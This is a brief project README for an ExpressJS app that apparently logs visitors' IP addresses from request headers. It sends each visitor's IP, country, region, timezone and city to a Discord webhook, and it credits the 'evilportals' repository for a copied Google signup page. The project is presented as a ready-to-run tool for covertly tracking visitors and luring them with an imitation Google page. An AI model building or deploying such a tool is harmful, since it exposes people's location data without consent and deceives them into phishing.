ExpressJS app that requests the user's headers, where the originating ip address is located. This gets sent to a discord webhook with aditional information such as: country, region, timezone and city. The region and the city will not be accurate 90% of the time.
Create a .env file to store the webhook link. Example below:
WEBHOOK_URI = https://discord.com/api/webhooks/xxxxxxxxxxx/xxxxxxxxxxxx
To install and run this project - install dependencies using npm and then start your server.
$ npm install
$ npm run dev
Thanks to the evilportals github, i could include the google signup page. Please check it out.